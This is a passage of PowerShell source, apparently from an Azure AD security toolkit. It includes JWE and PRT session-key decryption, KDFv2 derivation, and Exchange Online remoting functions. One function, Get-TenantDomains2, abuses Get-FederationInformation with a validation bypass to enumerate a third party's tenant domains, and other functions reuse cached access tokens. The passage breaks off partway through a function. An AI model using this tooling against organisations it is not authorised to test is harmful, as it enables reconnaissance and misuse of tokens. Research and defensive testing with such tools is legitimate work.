[byte[]]$SessionKey
|
||||
)
|
||||
process
|
||||
{
|
||||
$parsedJWE = Parse-JWE -JWE $JWE
|
||||
|
||||
$alg = $parsedJWE.alg
|
||||
|
||||
if($parsedJWE.enc -ne "A256GCM")
|
||||
{
|
||||
Throw "Unsupported enc: $enc"
|
||||
}
|
||||
|
||||
# Decrypt data using symmetric key
|
||||
if($alg -eq "dir")
|
||||
{
|
||||
# Derive decryption key from the session key and context
|
||||
if($SessionKey)
|
||||
{
|
||||
if(!$parsedJWE.ctx)
|
||||
{
|
||||
Throw "Missing ctx, unable to derive encryption key!"
|
||||
}
|
||||
$context = Convert-B64ToByteArray -B64 $parsedJWE.ctx
|
||||
$key = Get-PRTDerivedKey -SessionKey $SessionKey -Context $context
|
||||
}
|
||||
|
||||
if(!$parsedJWE.Iv -or !$parsedJWE.CipherText)
|
||||
{
|
||||
Throw "Missing Iv and/or CipherText, unable to decrypt!"
|
||||
}
|
||||
|
||||
$iv = Convert-B64ToByteArray -B64 $parsedJWE.Iv
|
||||
$encData = Convert-B64ToByteArray -B64 $parsedJWE.CipherText
|
||||
|
||||
# Create the crypto provider.
|
||||
# The data is always encrypted using A256CBC instead of A256GCM, because AesCryptoServiceProvider does not support GCM mode.
|
||||
$cryptoProvider = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
|
||||
$cryptoProvider.Key = $Key
|
||||
$cryptoProvider.iv = $iv
|
||||
|
||||
# Create a crypto stream
|
||||
$buffer = [System.IO.MemoryStream]::new()
|
||||
$cryptoStream = [System.Security.Cryptography.CryptoStream]::new($buffer, $cryptoProvider.CreateDecryptor($Key,$iv),[System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
|
||||
# Decrypt the data
|
||||
$cryptoStream.Write($encData,0,$encData.Count)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$decData = $buffer.ToArray()
|
||||
|
||||
# Clean up
|
||||
$cryptoStream.Dispose()
|
||||
$cryptoProvider.Dispose()
|
||||
|
||||
return $decData
|
||||
}
|
||||
elseif($alg -eq "RSA-OAEP") # Decrypt data using encrypted key
|
||||
{
|
||||
if(!$PrivateKey)
|
||||
{
|
||||
Throw "PrivateKey required for RSA-OAEP encrypted JWE"
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
# Decrypt the content encryption key (CEK)
|
||||
$encKey = Convert-B64ToByteArray -B64 $parsedJWE.Key
|
||||
$CEK = [System.Security.Cryptography.RSAOAEPKeyExchangeDeformatter]::new($privateKey).DecryptKeyExchange($encKey)
|
||||
|
||||
# Extract the parameters
|
||||
$iv = Convert-B64ToByteArray -B64 $parsedJWE.Iv
|
||||
$encData = Convert-B64ToByteArray -B64 $parsedJWE.CipherText
|
||||
$tag = Convert-B64ToByteArray -B64 $parsedJWE.Tag
|
||||
$keyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter]::new($CEK)
|
||||
|
||||
# Append Tag to Encrypted data
|
||||
$buffer = New-Object byte[] ($encData.Count + $tag.Count)
|
||||
[Array]::Copy($encData,0,$buffer,0 ,$encData.Count)
|
||||
[Array]::Copy($tag ,0,$buffer,$encData.Count,$tag.Count)
|
||||
$encData = $buffer
|
||||
|
||||
# Create & init block cipher. This data is correctly encrypted with A256GCM.
|
||||
$AEADParameters = [Org.BouncyCastle.Crypto.Parameters.AeadParameters]::new($keyParameter,128,$iv)
|
||||
$GCMBlockCipher = [Org.BouncyCastle.Crypto.Modes.GcmBlockCipher]::new([Org.BouncyCastle.Crypto.Engines.AesFastEngine]::new())
|
||||
$GCMBlockCipher.init($false, $AEADParameters)
|
||||
|
||||
# Create an array for the decrypted data
|
||||
$decData = New-Object byte[] $GCMBlockCipher.GetOutputSize($encData.Count)
|
||||
|
||||
# Decrypt the data
|
||||
$res = $GCMBlockCipher.ProcessBytes($encData, 0, $encData.Count, $decData, 0)
|
||||
$res = $GCMBlockCipher.DoFinal($decData, $res)
|
||||
|
||||
# Return the key instead of data
|
||||
if($returnKey)
|
||||
{
|
||||
# With session_key_jwe the decrypted data seems always to be one byte: 32
|
||||
if($decData[0] -ne 32)
|
||||
{
|
||||
Write-Warning "Decrypted data was not 32. Key may be invalid."
|
||||
}
|
||||
|
||||
$retVal = $CEK
|
||||
}
|
||||
else
|
||||
{
|
||||
$retVal = $decData
|
||||
}
|
||||
|
||||
# Return
|
||||
return $retVal
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw "Decrypting the key failed: ""$($_.Exception.InnerException.Message)"". Are you using the correct certificate or key?"
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "Unsupported alg: $alg"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Derivate KDFv2 context
|
||||
# Mar 3rd 2022
|
||||
function Get-KDFv2Context
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Byte[]]$Context,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Collections.Specialized.OrderedDictionary]$Payload
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$sha256 = [System.Security.Cryptography.SHA256]::Create()
|
||||
}
|
||||
Process
|
||||
{
|
||||
# KDFv2 (Key Derivation Function v2) uses different context: SHA256(ctx || assertion payload)
|
||||
# We need to compute SHA256 hash from a byte array combined from context and payload.
|
||||
# Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oapxbc/89dfb8d6-23b8-4963-8908-91b34340e367
|
||||
|
||||
# Get payload bytes
|
||||
$pldBytes = [text.encoding]::UTF8.getBytes(($Payload | ConvertTo-Json -Compress))
|
||||
|
||||
# Create a buffer
|
||||
$buffer = New-Object byte[] ($Context.Count + $pldBytes.Count)
|
||||
|
||||
# Copy context and payload to buffer
|
||||
[array]::Copy($Context ,0,$buffer,0 ,$Context.Count)
|
||||
[array]::Copy($pldBytes,0,$buffer,$Context.Count,$pldBytes.Count)
|
||||
|
||||
# Return SHA256 hash
|
||||
return $sha256.ComputeHash($buffer)
|
||||
}
|
||||
End
|
||||
{
|
||||
$sha256.Dispose()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,571 @@
|
||||
# PowerShell Remoting Protocol functions
|
||||
|
||||
# Creates a PowerShell remote shell
|
||||
# Apr 24th 2019
|
||||
function Create-PSRPShell
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter()]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter()]
|
||||
[Bool]$Oauth=$false,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SessionId=((New-Guid).ToString())
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$Body = @"
|
||||
<rsp:Shell xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Name="WinRM$(Get-Random -Maximum 1000)" ShellId="$((New-Guid).ToString().ToUpper())">
|
||||
<rsp:InputStreams>stdin pr</rsp:InputStreams>
|
||||
<rsp:OutputStreams>stdout</rsp:OutputStreams>
|
||||
<creationXml xmlns="http://schemas.microsoft.com/powershell">AAAAAAAAAAcAAAAAAAAAAAMAAALwAgAAAAIAAQAGWlblyniqQabvSrnLG9XKAAAAAAAAAAAAAAAAAAAAAO+7vzxPYmogUmVmSWQ9IjAiPjxNUz48VmVyc2lvbiBOPSJwcm90b2NvbHZlcnNpb24iPjIuMzwvVmVyc2lvbj48VmVyc2lvbiBOPSJQU1ZlcnNpb24iPjIuMDwvVmVyc2lvbj48VmVyc2lvbiBOPSJTZXJpYWxpemF0aW9uVmVyc2lvbiI+MS4xLjAuMTwvVmVyc2lvbj48QkEgTj0iVGltZVpvbmUiPkFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQnhUZVhOMFpXMHVRM1Z5Y21WdWRGTjVjM1JsYlZScGJXVmFiMjVsQkFBQUFCZHRYME5oWTJobFpFUmhlV3hwWjJoMFEyaGhibWRsY3cxdFgzUnBZMnR6VDJabWMyVjBEbTFmYzNSaGJtUmhjbVJPWVcxbERtMWZaR0Y1YkdsbmFIUk9ZVzFsQXdBQkFSeFRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVTR0Z6YUhSaFlteGxDUWtDQUFBQUFOQ0l3eEFBQUFBS0NnUUNBQUFBSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SVlYTm9kR0ZpYkdVSEFBQUFDa3h2WVdSR1lXTjBiM0lIVm1WeWMybHZiZ2hEYjIxd1lYSmxjaEJJWVhOb1EyOWtaVkJ5YjNacFpHVnlDRWhoYzJoVGFYcGxCRXRsZVhNR1ZtRnNkV1Z6QUFBREF3QUZCUXNJSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SlEyOXRjR0Z5WlhJa1UzbHpkR1Z0TGtOdmJHeGxZM1JwYjI1ekxrbElZWE5vUTI5a1pWQnliM1pwWkdWeUNPeFJPRDhBQUFBQUNnb0RBQUFBQ1FNQUFBQUpCQUFBQUJBREFBQUFBQUFBQUJBRUFBQUFBQUFBQUFzPTwvQkE+PC9NUz48L09iaj4AAAAAAAAACAAAAAAAAAAAAwAACtwCAAAABAABAAZaVuXKeKpBpu9Kucsb1coAAAAAAAAAAAAAAAAAAAAA77u/PE9iaiBSZWZJZD0iMCI+PE1TPjxJMzIgTj0iTWluUnVuc3BhY2VzIj4xPC9JMzI+PEkzMiBOPSJNYXhSdW5zcGFjZXMiPjE8L0kzMj48T2JqIE49IlBTVGhyZWFkT3B0aW9ucyIgUmVmSWQ9IjEiPjxUTiBSZWZJZD0iMCI+PFQ+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMuUFNUaHJlYWRPcHRpb25zPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5EZWZhdWx0PC9Ub1N0cmluZz48STMyPjA8L0kzMj48L09iaj48T2JqIE49IkFwYXJ0bWVudFN0YXRlIiBSZWZJZD0iMiI+PFROIFJlZklkPSIxIj48VD5TeXN0ZW0uVGhyZWFkaW5nLkFwYXJ0bWVudFN0YXRlPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5Vbmtub3duPC9Ub1N0cmluZz48STMyPjI8L0kzMj48L09iaj48T2JqIE49IkFwcGxpY2F0aW9uQXJndW1lbnRzIiBSZWZJZD0iMyI+PFROIFJlZklkPSIyIj48VD5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTUHJpbWl0aXZlRGljdGlvbmFyeTwvVD48VD5TeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlPC9UPjxUPlN5c3RlbS5PYmplY3Q8L1Q+PC9UTj48RENUPjxFbj48UyBOPSJLZXkiPlBTVmVyc2lvblRhYmxlPC9TPjxPYmogTj0iVmFsdWUiIFJlZklkPSI0Ij48VE5SZWYgUmVmSWQ9IjIiIC8+PERDVD48RW4+PFMgTj0iS2V5Ij5QU1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0VkaXRpb248L1M+PFMgTj0iVmFsdWUiPkRlc2t0b3A8L1M+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0NvbXBhdGlibGVWZXJzaW9uczwvUz48T2JqIE49IlZhbHVlIiBSZWZJZD0iNSI+PFROIFJlZklkPSIzIj48VD5TeXN0ZW0uVmVyc2lvbltdPC9UPjxUPlN5c3RlbS5BcnJheTwvVD48VD5TeXN0ZW0uT2JqZWN0PC9UPjwvVE4+PExTVD48VmVyc2lvbj4xLjA8L1ZlcnNpb24+PFZlcnNpb24+Mi4wPC9WZXJzaW9uPjxWZXJzaW9uPjMuMDwvVmVyc2lvbj48VmVyc2lvbj40LjA8L1ZlcnNpb24+PFZlcnNpb24+NS4wPC9WZXJzaW9uPjxWZXJzaW9uPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9MU1Q+PC9PYmo+PC9Fbj48RW4+PFMgTj0iS2V5Ij5DTFJWZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj40LjAuMzAzMTkuNDIwMDA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5CdWlsZFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjEwLjAuMTcxMzQuNTkwPC9WZXJzaW9uPjwvRW4+PEVuPjxTIE49IktleSI+V1NNYW5TdGFja1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjMuMDwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlBTUmVtb3RpbmdQcm90b2NvbFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjIuMzwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlNlcmlhbGl6YXRpb25WZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj4xLjEuMC4xPC9WZXJzaW9uPjwvRW4+PC9EQ1Q+PC9PYmo+PC9Fbj48L0RDVD48L09iaj48T2JqIE49Ikhvc3RJbmZvIiBSZWZJZD0iNiI+PE1TPjxPYmogTj0iX2hvc3REZWZhdWx0RGF0YSIgUmVmSWQ9IjciPjxNUz48T2JqIE49ImRhdGEiIFJlZklkPSI4Ij48VE4gUmVmSWQ9IjQiPjxUPlN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxEQ1Q+PEVuPjxJMzIgTj0iS2V5Ij45PC9JMzI+PE9iaiBOPSJWYWx1ZSIgUmVmSWQ9IjkiPjxNUz48UyBOPSJUIj5TeXN0ZW0uU3RyaW5nPC9TPjxTIE49IlYiPldpbmRvd3MgUG93ZXJTaGVsbCBJU0U8L1M+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+NTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMCI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5TaXplPC9TPjxPYmogTj0iViIgUmVmSWQ9IjExIj48TVM+PEkzMiBOPSJ3aWR0aCI+ODg8L0kzMj48STMyIE49ImhlaWdodCI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MjwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMiI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5Db29yZGluYXRlczwvUz48T2JqIE49IlYiIFJlZklkPSIxMyI+PE1TPjxJMzIgTj0ieCI+MDwvSTMyPjxJMzIgTj0ieSI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxNCI+PE1TPjxTIE49IlQiPlN5c3RlbS5Db25zb2xlQ29sb3I8L1M+PEkzMiBOPSJWIj4tMTwvSTMyPjwvTVM+PC9PYmo+PC9Fbj48RW4+PEkzMiBOPSJLZXkiPjA8L0kzMj48T2JqIE49IlZhbHVlIiBSZWZJZD0iMTUiPjxNUz48UyBOPSJUIj5TeXN0ZW0uQ29uc29sZUNvbG9yPC9TPjxJMzIgTj0iViI+LTE8L0kzMj48L01TPjwvT2JqPjwvRW4+PC9EQ1Q+PC9PYmo+PC9NUz48L09iaj48QiBOPSJfaXNIb3N0TnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFVJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFJhd1VJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX3VzZVJ1bnNwYWNlSG9zdCI+ZmFsc2U8L0I+PC9NUz48L09iaj48L01TPjwvT2JqPg==</creationXml>
|
||||
</rsp:Shell>
|
||||
"@
|
||||
|
||||
Write-Verbose "Session Id: $SessionId"
|
||||
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Create -Option @("protocolversion","2.3")
|
||||
|
||||
# Create the Shell
|
||||
try
|
||||
{
|
||||
$shell_response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Probably wrong credentials or access token
|
||||
Write-error $_.Exception.Message
|
||||
return
|
||||
}
|
||||
|
||||
[xml]$response = $shell_response
|
||||
|
||||
# Save the shell id for the later use
|
||||
$Shell_Id = $response.Envelope.Body.Shell.ShellId
|
||||
Write-Verbose "ShellId: $Shell_Id"
|
||||
|
||||
# Get the output to read session capabilities etc.
|
||||
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
|
||||
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
|
||||
{
|
||||
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
|
||||
}
|
||||
|
||||
# Read the rest of the output
|
||||
while($parsed_message.'Message type' -ne "Runspool state")
|
||||
{
|
||||
try
|
||||
{
|
||||
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
|
||||
$message = $response.Envelope.Body.ReceiveResponse.Stream.'#text'
|
||||
$parsed_message = Parse-PSRPMessage -Base64Value $message
|
||||
}
|
||||
catch
|
||||
{
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $Shell_Id
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Gets other domains of the given tenant
|
||||
# Apr 24th 2019
|
||||
function Get-TenantDomains2
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets other domains from the tenant of the given domain
|
||||
|
||||
.DESCRIPTION
|
||||
Uses Exchange Online "feature" that allows Get-FederationInformation cmdlet to retrive other
|
||||
domains from the tenant of the given domain. The tenant used to retrieve information can
|
||||
be any tenant having Exchange Online, including trial tenants.
|
||||
The given user MUST have GlobalAdmin / CompanyAdministrator role in the tenant running the function,
|
||||
but no rights to the target tenant is needed.
|
||||
|
||||
Due to Exchange Online, this function is extremely slow, can take 10 seconds or more to complete.
|
||||
|
||||
The given domain SHOULD be Managed, federated domains are not always found for some reason.
|
||||
If nothing is found, try to use <domain>.onmicrosoft.com
|
||||
|
||||
.Example
|
||||
Get-AADIntTenantDomains -Credentials $Cred -Domain company.com
|
||||
|
||||
company.com
|
||||
company.fi
|
||||
company.co.uk
|
||||
company.onmicrosoft.com
|
||||
company.mail.onmicrosoft.com
|
||||
|
||||
.Example
|
||||
$at = Get-AADIntAccessTokenForEXO
|
||||
PS C:\>Get-AADIntTenantDomains -AccessToken $at -Domain company.com
|
||||
|
||||
company.com
|
||||
company.fi
|
||||
company.co.uk
|
||||
company.onmicrosoft.com
|
||||
company.mail.onmicrosoft.com
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
# First, check if the domain is registered to Azure AD
|
||||
$tenantId = Get-TenantID -Domain $Domain
|
||||
if([string]::IsNullOrEmpty($tenantId))
|
||||
{
|
||||
Write-Error "Domain $domain is not registered to any Azure AD tenant"
|
||||
return
|
||||
}
|
||||
|
||||
# A fixed runspacel pool ID, used in PSRP messages
|
||||
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
|
||||
|
||||
# Counter for Object IDs
|
||||
$ObjectId=10
|
||||
|
||||
$Oauth=$false
|
||||
|
||||
# If Credentials is null, create the credentials object from AccessToken manually
|
||||
if($Credentials -eq $null)
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$upn = (Read-Accesstoken $AccessToken).upn
|
||||
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
|
||||
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
|
||||
$Oauth=$True
|
||||
}
|
||||
|
||||
# Create a shell
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
|
||||
if([string]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
# Something went wrong, exit
|
||||
return
|
||||
}
|
||||
|
||||
# Create an arguments message (uses the fixed runspace pool ID)
|
||||
$arguments = @"
|
||||
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List``1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-FederationInformation</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-DomainName:</S><S N="V">$Domain</S></MS></Obj><Obj RefId="14"><MS><S N="N">-BypassAdditionalDomainValidation:</S><Obj N="V" RefId="15"><TN RefId="2"><T>System.Management.Automation.SwitchParameter</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>True</ToString><Props><B N="IsPresent">true</B></Props></Obj></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="16"><TN RefId="3"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="17"><TN RefId="4"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="18"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
|
||||
"@
|
||||
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
|
||||
|
||||
$commandId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Body = @"
|
||||
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
|
||||
<rsp:Command>Get-FederationInformation</rsp:Command>
|
||||
<rsp:Arguments>$message</rsp:Arguments>
|
||||
</rsp:CommandLine>
|
||||
"@
|
||||
# Create the envelope for Get-FederationInfo -cmdlet
|
||||
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
|
||||
|
||||
$Domains = @()
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
# Make the command call
|
||||
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
|
||||
$get_output = $true
|
||||
|
||||
# Get the output
|
||||
while($get_output)
|
||||
{
|
||||
try
|
||||
{
|
||||
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
|
||||
|
||||
# Update the progress so we know that something is going on..
|
||||
Write-Progress -Activity "Retrieving domains from tenant ($tenantId)" -Status $(Get-WaitingMessage) -PercentComplete 50
|
||||
|
||||
# Loop through streams
|
||||
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
|
||||
{
|
||||
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
|
||||
[xml]$xmlData = $parsed_message.Data
|
||||
|
||||
if($parsed_message.'Message type' -eq "Progress record")
|
||||
{
|
||||
# Extract the StatusDescription and PercentComlete from the message
|
||||
$StatusDescription = (Select-Xml -Xml $xmlData -XPath "//*[@N='StatusDescription']").Node.'#text'
|
||||
[int]$PercentComlete = (Select-Xml -Xml $xmlData -XPath "//*[@N='PercentComplete']").Node.'#text'
|
||||
}
|
||||
elseif($parsed_message.'Message type' -eq "Pipeline output")
|
||||
{
|
||||
$DomainNames = (Select-Xml -Xml $xmlData -XPath "//*[@N='DomainNames']")
|
||||
|
||||
$Domains = $DomainNames.node.lst.S
|
||||
}
|
||||
elseif($parsed_message.'Message type' -eq "Pipeline state")
|
||||
{
|
||||
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
|
||||
if(![string]::IsNullOrEmpty($errorRecord))
|
||||
{
|
||||
# Something went wrong, probably not an admin user
|
||||
Write-Error "Received the following error (probably the user has no admin rights):"
|
||||
Write-Error "$errorRecord"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Loop thru the CommandStates
|
||||
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
|
||||
{
|
||||
# Okay, we're done!
|
||||
$exitCode = $state.ExitCode
|
||||
if(![string]::IsNullOrEmpty($exitCode))
|
||||
{
|
||||
Write-Progress -Activity "Retrieving domains" -Completed
|
||||
$get_output = $false
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Something wen't wrong so exit the loop
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Do nothing
|
||||
}
|
||||
|
||||
|
||||
# Finally remove the shell
|
||||
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
|
||||
|
||||
# Return domain names
|
||||
return $Domains | sort
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Removes the shell, a.k.a. disconnects from the ps host
|
||||
# Apr 24th 2019
|
||||
function Remove-PSRPShell
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter()]
|
||||
[Bool]$Oauth=$False,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Shell_Id,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SessionId
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body " " -Action Delete -Shell_Id $Shell_Id
|
||||
|
||||
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
|
||||
# Nothing to return..
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Get Mobile Devices
|
||||
# May 9th 2019
|
||||
function Get-MobileDevices
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets mobile devices for the current user or all devices (if admin)
|
||||
|
||||
.DESCRIPTION
|
||||
Retrieves a list of mobile devices using Remote Exchange Online PowerShell
|
||||
|
||||
.Example
|
||||
Get-AADIntMobileDevices -Credentials $Cred
|
||||
|
||||
.Example
|
||||
$at = Get-AADIntAccessTokenForEXO
|
||||
PS C:\>Get-AADIntTenantDomains -AccessToken $at
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# A fixed runspacel pool ID, used in PSRP messages
|
||||
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
|
||||
|
||||
# Counter for Object IDs
|
||||
$ObjectId=10
|
||||
|
||||
$Oauth=$false
|
||||
|
||||
# If Credentials is null, create the credentials object from AccessToken manually
|
||||
if($Credentials -eq $null)
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
